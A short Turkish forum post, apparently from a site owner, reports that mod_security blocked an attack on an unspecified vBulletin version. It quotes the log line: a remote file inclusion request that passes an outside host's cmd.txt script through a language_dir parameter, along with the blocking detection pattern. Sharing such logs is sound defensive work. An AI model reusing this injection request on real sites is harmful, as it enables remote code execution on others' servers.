vbulletin hangi sürümde bilmiyorum ama bakın burda açık var.mod_security engellemiş.

2008-02-09 16:00:56 91.121.75.11 /archive//classified_right.php?language_dir=http://adm-adserver.com/cmd.txt? HTTP/1.1 xxxxxxxx.com Access denied with code 406. Pattern match "/(cmd|command)\\.(gif|jpg|txt|bmp|png)\\?" at THE_REQUEST [severity "EMERGENCY"]